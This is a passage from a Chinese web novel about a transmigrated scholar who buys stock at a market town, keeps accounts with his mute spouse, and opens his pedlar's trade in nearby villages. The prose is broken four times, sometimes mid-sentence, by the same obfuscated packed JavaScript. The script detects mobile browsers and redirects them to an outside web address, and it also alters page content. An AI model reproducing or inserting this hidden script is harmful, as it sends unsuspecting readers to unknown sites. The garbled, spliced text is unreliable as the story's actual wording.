像是铁针，无论缝衣针还是绣花针，一般都是卖两文到三文一根的，进价呢，缝衣针是一文一根，绣花针是三文两根。 因绣花针更细，做起来更麻烦。 时下民间铁器无非两种，一种粗铁，一种精铁，农具多用前者，小而精细的东西多用后者。 不过纵然是精铁的铁针，也完全无法和现代的精钢相比，硬度不够，容易弯折生锈。 所以铁针既是必不可少的日用物，同时又是消耗品，多进些完全卖得出。 生铁官营，铁价几十文一斤，还要加上铁匠的工钱。 或者说，铁本身远不如铁匠的手艺值钱。 若说铁针的价格尚还可以，换成菜刀，常霄就有点买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233915|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不起了，随便拿一把普普通通的，不到一斤沉，要价二百个钱。 铁锅更是奢侈品，一口乡下常见的大铁锅，一贯钱都买不到。 他看了半天菜刀，还是放回去了。 暂且用手折一折菜叶子，也不是不能做饭。 顺便和守店的铁匠娘子套近乎，言明将来长期拿货的话，等他来买菜刀和铁锅的时候给个好价，铁匠娘子欣然答应。 于是常霄与她结账，铁针一百二十五文，顶针三文一个，共是五个，加在一起是一百四十文。 往箱笼里放进自己的第一批货，小小一包，压根不占地方。 出来后常霄又往绒线铺，靠着在旁观察来买线的姑娘哥儿，片刻后他上前要了黑白两色麻线各十卷、青赤黄白黑几色丝线各五束、木制的绣绷五只。 丝线的颜色都选的是最常用的，原因是比他预料中的贵不少。 窄窄的一束，放在手里几乎没有重量，就要十文钱了，长度远不及麻线，一些更难染制的颜色更贵。 两贯多钱已经用去将近五百文，背后的箱笼却还是轻飘飘的，距离他设想中的货担还差得远。 做货郎最忌货少不全，就像开超市，断不能觉得这个没人买，那个没人要，只在货架上摆上可怜巴巴的一些货，教人打眼一看就看了个透，没了挑挑拣拣的趣味，乐得掏钱的意愿自也就低了。 铺子逛得差不多，他抬步去逛摊子。 高粱杆子扎的炊帚、盖帘、中号的簸箩取几个，蒲草扇拿几把，各色猪毛攒的刷子，从刷牙的到刷鞋的，不同大小各挑几只。 这些的价钱一下就便宜多了，大都是农家自制，材料上家里有什么就用什么。 有时做多了，一些个卖杂货的铺子也收，这就是常霄不直接去杂货铺子进货的道理，东西进了那里头已经加过价了，他再转一手又能挣个什么。 不过也不能不去，像是火石、蜡烛、燃灯的桐油等，他就没在摊子上看见过。 能放进货担的就放，放不下的那些则用麻绳一捆挂在旁边、提在手里，收拾完后，常霄开始四处找卖小儿玩具的地方。 找到后选了风筝、风车、拨浪鼓、泥捏的小哨子、泥猫儿狗儿、不倒翁、草编虫儿笼、毛毽子、小木刀共十样玩具，一样只买两三个，便宜的三五文，贵点的十几二十文，一共花去二百文。 更贵的磨喝乐娃娃、灯笼、木雕的面具之类的，进价偏贵，他都没有要。 风筝、风车、虫儿笼这些轻便的，又怕压坏，他照样问人要了一段麻绳，穿起来后直接挂在箱笼上，固定好后居然觉得挺好看。 到时行走村中，离得尚远时人家就能看见，何尝不是一种招牌。 附近十几个村子，几百户人家，总归是有穷有富的。 若能赶上个撒娇打滚的小娃娃，家里也舍得给孩子花用的，生意不就成了。 日用品求的是薄利多销，要想赚多点，还要从这些上面出。 念头转到这里，他突然想到，另有一个品类被自己忽略了。 5. 礼物 向玩具摊上的汉子打听罢，常霄直奔草市上唯一一家花粉铺。 此处专营的范围，换作现代说法就是护肤彩妆集合店。 常霄出门前没想到这一层，也没向曾如意打听一二，如今只能挨个拿起来问伙计。 待搞明白各自作用后，也得知了价格，他好生斟酌半晌，分别要了妆粉、眉黛粉、胭脂、头油、面脂、牙粉，数量不一。 妆粉、胭脂、头油、面脂偏贵，哪怕是最便宜的一档，单价都在二十文左右，他便一样只先拿了两个。 画眉的黛粉和牙粉最便宜，一样是五个，算下来是二百七十六文。 总体而言进价无异是贵的，而且肯定不会很快卖出去。 但常霄考虑过，原本最常和货郎打交道的就是各家的姑娘哥儿、娘子夫郎，他们添置日用的事后看见这些，若是起了意，说不准就会买。 还有起意想讨好心仪之人的男子，游说几句也极容易买单。 从利润薄厚上而言，和玩具是一个道理。 “卖饮子嘞——乌梅饮子薄荷水嘞——” “麻糖姜糖棍儿糖，十般糖样样甜咯——” “果子干，干果子！瞧一瞧，看一看——” 马桥草市汇集四方来客，不单是本地人，还有不少下了船在此歇脚的外地行商。 因而售卖货品之丰富，与县城比也未曾差太多。 进了多见卖吃食的区域，提醒了常霄，货郎担上不只有用的，还要有吃的。 “前头那个卖葫芦的！且等等！” 巧的是又见着卖他葫芦水囊的那小子，他把人叫住，再度挑起葫芦。 小子见了回头客，热情得很，问他要做什么用，要大的要小的。 “我预备装些油盐醋之类，捎去下头村里卖。” 他转头看到一堆栓在一起的葫芦瓢，补充道：“再来几个水瓢。” “原来咱还是同行嘞！” 小子看着年岁不大，可能就十二三，在这个时代早已能当家。 他个头比常霄的肩膀还矮一点，挑着的担子挂着满当当的葫芦，一晃悠就撞出响。 “听我的，您还是拿这最大的，一葫芦能打两斤，漏了只管来找我！” 常霄要了五个，这回要得多，讲价到八文一个。 水瓢便宜，多是形状不那么归整的葫芦，上窄下宽的那种，本要六文，他说到五文，选走五个，一并结了账。 等人数钱的时候他随口问：“你家是专种葫芦卖的？” 小子做惯生意，说话也不耽误数数，点头道：“是嘞，结收成了就挑形状规整的，打皮晒干，做上壶嘴，歪扭的做瓢，再不成的就当菜卖了。” “您别看种葫芦瓜就是种菜，能种出漂亮葫芦的当真没几个。” 小子骄傲地仰起头。 常霄笑着接过他系好的一大串葫芦，“我瞧着草市上卖这个的也不多，若是觉得好，下回还找你。” 五个葫芦里的四个很快装满，分别是油、盐、醋，其中油分两种，一种是胡麻油，可以做菜也可以点灯，一种是桐油，只能点灯，比胡麻油黑烟少。 另外酱是豆酱，糖是蔗浆，倒不进葫芦里，他额外买了瓦罐。 油盐酱醋不可缺，而村户人再是俭省，同样需些拿得出手的零嘴偶尔待客，以及略富裕些的人家，舍得买些吃食打牙祭。 最常见的就是三样：糖、果子和糕饼。 以及必不可少的茶。 糖除了他买过的蔗浆，可以用竹签搅合两下当饴糖卖，余下的统称饧糖，即各种形状的硬糖，圆的叫糖瓜，长的叫棍儿糖，再贵些的就是撒了芝麻的麻片糖。 糕饼里最便宜的是绿豆糕和红豆馅的酥皮饼，吃起来口感很粗疏，对于村户人家而言，却已是逢年过节里方得见的好东西。 果子也有两类，所谓果子干，就是鲜果切开晒干，多见梨干、杏干、桃条和干枣，加了调味的有咸酸梅子。 干果便是坚果了，北边最多的是核桃，天冷后还有栗子、榛果。 天气热，饧糖容易化，糕饼放不住。 常霄将那几样果子各抓了一斤，预备回去分成若干小包拆开卖，核桃没有要。 这时节的核桃都是去年的陈核桃，放久了一股哈喇味，价也没说便宜到哪里去。 茶的方面，他发现老百姓是真的爱饮茶，从五文钱一斤的茶沫子到几百文一斤的，居然都能在草市上找到。 人家见他是乡间货郎，推荐他买些茶沫子就够了，说乡下好些买不起好茶，但喝水一定不能没有茶味，茶沫子的销路正是这些地方。 常霄想了想里正家待客的茶水，称了五斤茶沫，三斤最便宜的散茶，花去七十文。 可惜如今还买不到最适合佐茶的瓜子。 无论是南瓜、西瓜都没有，更别提葵花籽。 许多从前习以为常不当回事的东西，如今都变得遥不可及。 常霄用袖子揩了下额角汗水，收回思绪。 在草市集来回走了将近两个时辰，查漏补缺，他发现货担上的货物品类差不多够了，最后算算兜里剩下的钱，还差两样东西没买。 一样是布料，一样是杆秤。 …… “小兄弟，哪个村的，搭车不？” 为了赶在天黑前回到寨子村，常霄买完布后便匆匆上路。 充作货担的箱笼早就被塞满了，连两侧都挂满用麻绳系住的零碎，因为放钱的包袱里不剩多少铜板，他将余下的前放进前襟的贴身口袋，包袱也拿来裹了货物，提在手里。 如此负重前行的模样，引来个赶牛车的汉子搭话。 常霄见他车上已经载了三个人，大约是拉货去马桥，卸货后又空车返回的。 有车一族就是好，干完活还能顺路跑拼车。 “我住寨子村，多少钱？” “你东西多，拉了你，我就少拉一个人嘞，你给八个钱吧，不过我去白树村，不路过寨子村，半路把你放下，你再走两盏茶，估摸着就到了。” 八文钱，还送不到村口。 常霄想到兜里可怜巴巴的存款，摇头道：“还是不了。” “瞧你这大包小包的，八文都不舍得掏？从这回寨子村可要走一个多时辰。” 见常霄仍是不坐，汉子没想到遇着个抠门精，搓搓牙花子，扬鞭赶车走了。 从申时走到酉时，走到最后常霄一双眼都有点发直。 再度看到碾场旁的小茅草屋时，心头顿生亲切。 “我回来了！” 他在门前扬声喊道。 同时发现，这种知道家里有人等自己的感觉真是不错。 人类是群居动物，而他从来不是能耐得住寂寞的性格。 曾如意很快从屋里出来，手上沾水，袖子也挽起来了，估计是在做饭。 相望的一瞬，常霄难得从他的目光中，捕捉到了名为惊喜的光亮。 小哥儿甩甩手上水珠，顺势从他手里接过包袱，能带回这么多东西，看来质库给的价钱不错，多半是去了马桥的草市进货。 包袱个头不小，曾如意猜不出里面放了什么东西，同时不敢乱动，暂且拿去屋里，放在靠墙的地上。 “我先喝口水，渴死我了。” 常霄用手扇了扇风，前脚刚进屋，就见曾如意已经站在桌旁给他倒水。 接过后发现是尚有一丝余温的白开水，应该是早就烧好放在这里晾凉了，如今入口，温度正好。 “多谢。” 他笑着接过，牛饮似的灌进肚。 曾如意没想到他渴成这样，赶忙又给他倒一碗。 最后满满一瓦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233916|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壶的水，让常霄喝去大半壶。 “总算活过来了。” 常霄把碗放回桌上，长出一口气。 说罢大手一挥，“走，带你看看我今天都买了什么。” 其中最显眼的就是整匹麻布，颜色是灰色，还有半匹的素色白麻布。 “我问了布行的人，说是做大人衣裳，一匹布可以做两身，上下四件，料子再省些，还能余下一节布头做别的，我便直接要了整匹的。还有这些素布，可以做里衣和贴身的衣裳。” 其实贴身的衣裳，肯定还是用细布更舒服。 但是最便宜的麻布一匹三百文，细布就要五百文了，着实超过了预算。 糙就糙一点吧，生计所困，顾不得许多。 曾如意却已经很高兴了，抱着摸了两把，抬头对常霄浅笑了笑。 常霄把他的反应看在眼里，也跟着弯了弯眼睛。 随后把箱笼里的东西挨个往外拿，曾如意看过后，帮着分门别类地摆整齐。 可以说是样样皆有，样样都全。 拿到最后，还剩一个木匣子。 在小哥儿疑惑的注视下，常霄将其打开。 见里面搁着常霄带走的折扇，以及几样文房和书本，曾如意指了指扇子，朝常霄歪了歪头。 其懵懂的神态看得常霄微微一怔。 曾如意五官清秀，生了双杏仁眼，独自一人不说话时，瞧着很是冷淡，有些拒人千里的意思，熟悉之后，表情不免生动许多，正如现在。 “扇子不值钱，质库不要，我就带回来了。” 常霄错开视线，忙于摆弄折扇。 随即解释过木匣的来由，牵扯县城往事，气氛一时凝滞，终究还是再次开口打破沉默。 “都过去了，我如今也无心科举，这些东西暂且存好，将来说不定有用上的时候。” 除了扇子，他又将原主留下的香囊和荷包放了进去，作为他曾存在过的证明。 哪怕除了自己无人知晓。 想想也只能如此，曾如意把木匣子接去怀里拍了拍，意思大概是自己会把它放好。 虽然屋子就这么大，他们连口箱子都没有，好像也想不到要放去何处。 此刻常霄心里没别的念头，除了搞钱，还是搞钱。 “你看看这些东西里有没有什么用得上的，咱们先拿出来用。” 常霄先挑出了一盒牙粉和两把刷牙子，不刷牙这件事他实在做不到，进货的时候就想到要留下自用的。 曾如意看了看，什么都没拿。 常霄问他要不要面脂，他也摇头。 小哥儿不写字，不多话，常霄只得作罢。 但除了这些，他本就准备了别的。 “对了，这个给你。” 一支打磨光滑，尾端以如意云纹为饰的木簪静静躺在常霄的掌心。 一瞬后，放入曾如意的手中。 出门一天，从县城到村路，他仔细观察过，凡是小哥儿，即使发型乍看之下和男子的样式差不了许多，但发髻上一定会有一根簪子。 普通百姓用木簪竹簪，富裕些的用银簪。 有些朴素到和一根木筷无异，但依然会佩戴。 他猜测应当是某种既定的规矩，就像姑娘在闺中时可以散发，成亲后必须全部束起一样。 现今他们在村中生活，里正一家时不时还会关照一二，自己不在家时，曾如意少不得要和村里其他人打交道。 他不想小哥儿在这等事上遭人议论。 “现在我只买得起这个，等卖货赚了银钱，再给你换好的。” 曾如意的指尖轻触木簪，云纹的装饰简简单单，却恰好与他的名字对应，常霄定是用了心的。 【谢谢】 他面对常霄，无声地说出两个字，相信对方能明白。 6. 准备 将各样杂货全部过了遍眼，收起来前，常霄想到了盛老夫子所赠笔墨的用处。 他拜托曾如意将一叠纸缝成一本，用方形砚台做尺子打格，制成简单的账本。 前半部分记录进货数量、价格和每日库存，后半部分则是流水账。 没等对自己的劳动成果展现出足够的满意，新的问题又出现了——他实在不怎么会写毛笔字。 拿起笔，试图唤起身体的肌肉记忆，却发现并不太好用。 软笔难控制，常霄想过去搞点炭条做炭笔，但那样字迹太容易被蹭花，不好留存。 还是抽空再练练吧，重生一世，不会写字可不行。 于是他再度捧着账册，去寻在床边比划布料尺寸的曾如意，认真道：“如意，以后家里的账目能不能拜托你来记？” 曾如意抬头，有些愕然。 他是真的学过算账。 双亲去世时他刚五岁，一直到十岁，他都是跟着兄长曾如安生活。 兄长长他八岁，说句长兄如父也不为过。 曾家是做香烛生意的，说出去不怎么吉利，胜在安稳。 奈何看人下菜碟的人终是多数，兄长掌家后，好些供货的工坊都陆续涨了价钱，凭着铺面是自家的，不必交赁金的优势勉励维持了几年。 期间曾如意便帮着打理生意，算账理货。 还早早跟邻家在绣坊做工的姐姐习得一手好针线，闲时绣些花片、香囊变卖，以此补贴家用。 到了曾如意十岁时，香烛铺被迫关了，兄长卖了铺子，决定跟着同乡的行商出去闯一闯，运气好的话，出门几月挣回的，就够他们兄弟俩吃两年了。 临行前他把曾如意送去了莘县大伯家，彼时大伯和伯娘从未与他们一家子交恶，年节走动一派如常，对待曾如意也甚是慈爱。 曾如安却不愿占人便宜，不单留了足够的银钱作为小弟的吃穿用度，还把一匣双亲留下的银锭、首饰等价值两百余贯的财物也托付给了大伯看顾，避免丢失。 可惜这次老天依旧没有眷顾他们。 兄长一去不返，曾如意寄人篱下，直到嫁进常家。 …… 短暂的回忆结束，在常霄眼里，就是小哥儿因他所说而出了一会儿神。 记账确实不是什么好活计，财务工作从来都是最枯燥的案头工作，尤其是他暂且连算盘都买不起。 就在他想，是不是曾如意不太情愿做的时候，对方却放下手中东西，不动声色地把账册接了过去。 没有算盘，不算太难的情况下曾如意完全可以做到心算，这都是从小练出来的。 他没有问常霄为什么让自己记账，既然有自己能做的，那就去做，比起麻烦，他更怕自己对常霄无用。 于是接下来一段时间，由他研墨提笔，简单合计，常霄负责在旁挨个报价。 在地上和手掌上写字的时候看不出功底，落在纸上便可看出曾如意字如其人，一手小楷端端正正，暗含刚劲。 算的差不多，最后还需有个总数，曾如意怕算错，出门寻了根细树枝掰断做算筹，在桌子上摆弄了半天。 常霄看不懂，但他也有自己的办法，就是在地上写竖式核算。 曾如意看在眼里，以为这是学塾里算学夫子教的办法。 贡举常科里最常见的是进士科和明经科，但除此之外还有明法、明算等。 不怪书生走到哪里都备受尊敬，在好多人还大字不识的地方，他们的确各个是全才，什么都要懂一点。 算到最后，常霄轻丢掉树枝道：“今天进这些货，一共花了一贯余七百四十九文。” 又道：“杆秤的钱也算在本钱里吧，本想买新的，发现着实太贵了，必须买公家制的，民间不可自造，一杆最便宜的就要三百文。好在后来打听一圈，得知原来可以赁来用，按天或者按月算钱，草市上很多小摊贩都是当日借，当日还的，一天只要两文钱，再付五十文的押金，我先赁了五日的。” 再加买麻布的四百五十文，买箱笼的三十五文，来回乘船的二十五文…… 支出总数是两贯余四百一十二文。 哦对，他还花了两文钱买茶水，十五文买木簪。 “典当衣裳得了两贯余五百文，出门时我带了三十文当路费，现在还剩……” 他把衣襟里用麻绳简单串起的散碎铜钱拿出来，快速点了一遍，然后苦笑道：“一百零一文。” 曾如意也把之前典当银镯后剩下的拿出来，除了最早的几笔花费，再减去这几日跟村里人买菜的花销，以及给常霄的三十文路费，还剩下一百二十文。 “看来这二百多个钱，就是咱们现在的全部积蓄了。” 把这抓在手里还挺沉的铜板想成二百多块钱的话，常霄顿觉压力更大了。 “不过没关系，等生意做起来，哪怕初期利薄，至少能挣出每日的菜钱。” 他说话时看的是曾如意，又何尝不是在安慰自己。 曾如意见墨痕干了，轻轻合上账册。 哪怕在大伯家的多年里他没过上一天顺心日子，可也不至于像今日这般捉襟见肘。 桌上陶碗中还剩没喝光的水，曾如意倒出一点，蘸着水写字。 【我擅绣活】 【有些铺子可以赊料，做好后送回】 【如果有，我可以做】 常霄在外忙碌，他也不能闲着。 做货郎用不着两个人，家里能多个进项总是好的。 先前常霄对这些不了解，自然也想不到。 如今被提醒，他点点头道：“那我下次去马桥的时候打听打听。” 曾如意轻轻颔首，用手背擦掉那片水渍。 以前在大伯家的时候，他也没少做针线鞋脚，一家子身上的穿戴基本都是从他的手里出的，权当他是不要钱的裁缝兼灶人。 这之外，还要多绣一些拿出去卖，得了钱也全给伯娘了，不然他和大伯便明里暗里嫌他白吃白喝。 若问那笔他们昧下的财物，便说是将来给曾如意做嫁妆。 结果嫁都嫁了，也只肯拿出了三十贯，加上常家出事后他们闭门不出，明显是打算与他们划清界限了。 曾如意暗暗摇头，迫使自己不再回忆往事。 入夜，月明星稀。 常霄在院里打水洗漱，凑合擦了个身，日子每过一天，想买的东西就多几样。 古时洗澡本就麻烦，还不知何时买得起那种能坐下一个人的大浴桶。 屋内灯火映窗，曾如意蹲在充当货担的旧箱笼旁，专心往背带上缝布条。 布条里还填了些干草，是从土床上的草垫上扯的。 之前常霄的肩膀受过伤，货担可不轻快。 担心他负重过大，伤上加伤，吃饭时一直在琢磨怎么办，由此想出这么个主意。 另外遮阳挡雨的那块油布，他勉强打上了个补丁，只是用的麻布，没有防水的作用。 油布卖的不便宜，暂且凑合用。 里面的布袋也拆下来洗了，倒了两盆脏水才涮干净。 现在这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233917|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天气，很快就能干。 用牙咬断最后的线头，他扶着货担左右端详，随后干脆自己背上试了试。 箱笼都是按男子的尺寸做的，小哥儿普遍骨架要小一点，是以东西在常霄身上显得正好，换成曾如意就有点夸张。 常霄进来时恰对上这一幕，曾如意发现他后，赶忙把货担摘下来，不好意思地往前推了推。 “这么快就好了？” 常霄很惊喜，他得知曾如意想缝补货担的时候，以为只是补上油布的窟窿。 现在才发现，背带上多了个干草垫子，就像现代书包的背带一样，加宽加厚，舒适度一下子提高了。 “没有你的话我可怎么办！” 他沉浸在曾如意的细心中，笑意盈盈，话说出口都没觉得有什么不对。 不曾留意小哥儿目光闪动，悄悄抬手摸了摸那双泛红的耳朵。 刚刚常霄靠近时，曾如意还闻到一股清新的薄荷香。 努力想了一下，大约是用了新买的牙粉。 单是肯做家事加上爱洁净两桩，都已胜过无数男子了。 遑论常霄的长处还不止如此。 曾如意有些茫然地想，常霄所有大大小小的好，仿佛都是在寨子村大病一场后才出现的，简直与从前判若两人。 可是历经变故，就此脱胎换骨的人一向不少。 人没往坏了变，而是变好了，难不成还要挑理么？ 他定定神，轻咳一下引起注意，随即在掌心写字，问刚把货担放回地上的常霄。 【准备哪日开张】 “择日不如撞日，我明日就打算先去附近的几个村子走走，继而由近及远，慢慢先把路踩熟。” 常霄答得不假思索，从草市回村的路上，他就已经反复想过了。 现今住在寨子村，他们没有田地，暂居的地方种不了瓜菜，养不了鸡鸭，除了喝水时能去公井挑，其余何事不花钱。 秋收眼看快要到了，届时这间守碾场的屋子恐怕不能继续住下去。 村里剩下的空屋很少，基本都比这还不如。 毕竟一般情况下，只有分家的时候才会盖新房。 常霄在考虑，能否略攒一笔钱，把常家破败的老屋收拾出至少一间来住。 那边盖时用的都是好砖瓦，哪怕现在破的破，丢的丢，不剩多少了，起码底子还在，想法子修修补补，过上一冬，应当是问题不大。 既决定开工，当然要早睡。 反正不睡也没什么事情做。 穿越这些日子，常霄已然习惯八点前睡觉，五点前起床的作息。 “我熄灯了。” 同躺好的曾如意打个招呼，他吹灭油灯，摸黑爬上床。 两人不睡一个被窝，却又共用一套被褥，为了都有被子盖，身下直接就是干草。 有时常霄半夜惊醒，都会恍惚觉得自己是不是睡在了鸡窝里。 薄薄的芦花被和一片布没什么区别，他在心里叹口气，用被子盖住了肚子。 “睡了，晚安。” 床的另一侧，曾如意轻轻拍了下巴掌，表示自己听到了。 常霄不由笑了笑，闭上了眼睛。 每当这时候，他就觉得小哥儿怪可爱的。 而曾如意在黑夜中躺了许久，了无睡意，无声望着窗外投进来的月光。 许久后，他把手伸到枕头下，摸到常霄白日里相赠的木簪。 待到木簪沾染上了掌心的温度，变得暖热，才终于有了些许睡意，阖眸沉入梦乡。 7. 开张 卯时未至，天还全然黑着，曾如意率先醒来。 他用新木簪束好头发，捧起沁凉的水洗去最后一点睡意，挽起袖子进灶屋给常霄做饭。 今天不仅要做两人的早食，还要做好常霄出门时带的干粮。 昨日得知常霄今天就要出门卖货，他拿钱去里正家买了半斗杂面。 北方食麦不种稻，在粟米和豆子之外，杂面已经算是精细吃食了，再往上的是白面，也就冬至和过年时各家舍得去磨上一点，回来制馄饨和馎饦。 常霄一出门就是一天，带不了有汤水的东西，他打算烙点面饼子，面剂子中间抹点油再撒点盐，吃起来姑且有点滋味。 待第一炉饼子出锅，粟米豆粥也好了。 饭香气飘进屋里，导致常霄坐起来时神情还恍惚着。 他抓两下睡乱的头发，套上布鞋出门，熹微的晨光下，见曾如意正背对着卧房的方向，用力抻了个懒腰。 发觉有人靠近，他猝然回头，然后不好意思地收回伸长的胳膊。 知道小哥儿脸皮薄，常霄刻意假装没看见。 “怎么起这么早？” 他意外于自己没听到同床之人起床的声音。 曾如意没回答，而是小跑去灶屋，端出摊放着面饼的簸箩给常霄看，又做了个把饼子拿起，塞进怀里的动作。 常霄明白过来，“给我带走的？” 曾如意点头。 常霄轻轻呼出一口气，目光和语气都愈发软下来。 “下次你起床也喊我一起。” 曾如意摆摆手。 自己只是早起半个时辰，常霄做货郎，一走就是一整天，这份辛苦是自己比不上的。 天将亮时，常霄作别曾如意，独自出了门。 胸前挎葫芦，衣襟塞面饼，背上箱笼改造的货担，货担从上而下，除却贴着身子的那一面，全都缀满了东西。 箱笼内部的布袋和下面的抽屉，分门别类放着不同的物件，乍看乱糟糟的，但常霄都记得。 此前他还特意向里正请教过去附近几个村子的路线，并用烧好的炭棒自绘了一张简单的地图，现在正叠成长条，塞在袖子里。 根据他的脚程判断，顺利的话，这一天里他能走完三到四个村子，把周遭的十三个村子全部走完，大概需要三天。 但是第一批进的货肯定卖不了这么久，去草市进货，一来一回要搭进去半天，如此算下来，时间可能延长到五六天。 以及村子之外还有一些田庄，田庄的主人大多是城中富绅，雇佣亲信当庄头管理，耕地则依靠佃农，还蓄着许多奴仆。 但凡是人，有嘴吃饭，就有买东西的需求，而庄子里的人采买日用，只能靠人定期进城，地位较低的仆役虽有工钱也难往外花，如果有货郎乐意去，绝对是有赚头的。 常霄看了看纸上的几个标记，还是先打算在就近的村子里转足一圈试试水，知道什么好卖，什么不好卖后，也方便下次进货。 等本钱足够，货备得更全，再去田庄叫卖也不迟。 那边的人舍得花钱买的，定然不是柴米油盐。 边走边盘算，快走出碾场范围时，他忽然想要回头看一眼。 货担上的东西有些遮挡视线，他拨开碍事的风筝，隐约看见曾如意还站在院门外，朝自己所在的方向眺望。 常霄心中一动，随即高举手臂挥了两下，不知小哥儿有没有看到。 …… 为了多赶些路，常霄出门很早。 本以为一路上不会遇到村人，不料到了村口附近，发现前面有个推着木推车的汉子。 这种手推的独轮木车叫“串车”，常霄在草市上看到许多，路过木作行的时候还打听了价钱。 由于是独轮的缘故，如果上面的东西比较沉，一般要一个人推，一个人在前面拉，以此控制方向，反正用起来是很讲究技巧的。 他见那木车路过土坑时剧烈颠簸了一下，猛朝右转，遂往前赶了两步，搭把手帮忙扶正。 凑近看清车板上是一大板豆腐、一板千张和豆干，还有一只带盖的木桶，都用麻绳固定过，热腾腾的豆香扑面而来。 汉子显而易见地松口气，下意识道谢后看清常霄的长相，意外道：“瞧你眼生，可前些日子刚回村的常家小郎？” 常霄和曾如意搬来没多久，又有一半时间在家养病，除了里正，他没和任何村人打过交道。 反倒是曾如意，因为跟着里正娘子去各家寻买日用，还留了印象。 “确是，不想大哥认得。” 他见对方稳住了车子，也就顺势收手。 汉子瞧着爽朗，笑道：“嗐，咱这巴掌大的村子，一年到头见不到个生人，一猜就猜着了。” 常霄背后的货担太显眼，他看在眼里，不禁问道：“你这是……” 常霄也跟着回头瞄一眼，无奈笑笑。 “家中断了生计，便想着效仿昔日家公，做点小生意糊口。” “家公……哦哦，你是说常老爷子吧。” 汉子心道这书生郎说话就是文绉绉的，肯弯腰行商，真是大不容易。 他比常霄是同辈，常家迁走的太早，村里年轻一代早就没什么印象了，也半点不熟悉。 不过考虑到今后村里有了货郎，他怪是高兴。 “货郎好啊，再不用为着买根针买卷线去马桥，今后要是缺什么，是不是能直接去你家买？” 常霄惭愧道：“刚开始，进的货太少，全都带在身上了，不过下半晌我回了村，肯定要在村里吆喝一圈的。” 他同对方道：“不知大哥贵姓，要是家里缺什么，可让嫂子去碾场寻内子打个招呼，等我回村，送上门就是。” “那敢情好！我姓刘，村里人都叫我刘大，祖祖辈辈都是打豆腐的。” 常霄还真不知村里有个豆腐坊，当即道：“我隔着老远就闻到豆香了，可见大哥手艺之好。” “好啥好，人都说世上三苦，撑船打铁磨豆腐，成天起早贪黑，要不是没别的手艺，谁做这个。” 交谈之下，得知因还在夏日里，刘大也不去远的村子卖豆腐，免得没卖完就给太阳晒馊了，两人的路线竟是大差不差，索性同路。 走到附近第一个村子时，天已全然明亮了。 “这是红石村，和寨子村差不多大，因为离得近，好些人家互相嫁娶的，算算都是亲戚。” 刘大介绍完，领着常霄进村。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233918|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一路仰仗他带路，常霄省了很多事。 他们两个卖的东西八竿子打不着，且说不准能互相招徕生意，其实是好事。 刘大自也明白这个道理，才多是热情。 三声梆子响后，常霄看他拖长了音叫卖，简直中气十足。 “磨——豆腐，打——豆浆嘞！” “收豆换豆腐嘞——” 如今各个行当都有约定俗成的习惯，卖豆腐的敲梆子、卖药的敲竹板、卖糖的敲小锣、磨剪戗刀的敲铁片，而换成货郎，就是摇拨浪鼓了。 常霄清清嗓子，也不甘示弱，一边摇鼓一边喊：“卖杂货嘞——” 只是他明显不如刘大气长，喊了没两下就开始咳嗽，刘大笑言：“常老弟，你这不行啊，还得多练，不然过不了几日嗓子就要劈了。” 常霄只得努力把拨浪鼓摇得用力些。 好在村子不大，村路也窄，大多数时候只闻鸡叫和犬吠，他们沿路喊一声就能传出很远，很快有人端着碗从门内出来。 “先给我打一块豆腐，再要两碗豆浆。” 来人把碗递给刘大，又好奇地看常霄，“我还当我听错了，还真有卖杂货的？我瞧瞧都有什么。” 中年妇人上下打量常霄，尤其往那张脸上瞄了好几眼。 多俊的一后生！个子也高，肩宽腿直，就是看着文弱了点，没啥子力气，不知可曾婚配。 常霄很是熟悉这种目光，上辈子他可没少被人这么盯住，接着没两句话就要给他介绍相亲对象。 直到他实在忍无可忍，在其中最“热心”的一位大姨再度找上门来时，坦白自己的性取向，消息传出去后才总算消停。 虽然也还有不肯放弃，旁敲侧击打听他对同性有什么要求的，但估计这方面的资源还是太少，让他清净了好一阵。 现在他作为“有夫之夫”，不怕没理由推辞，故而半点苦恼也没有，满脸都是独属于生意的热情。 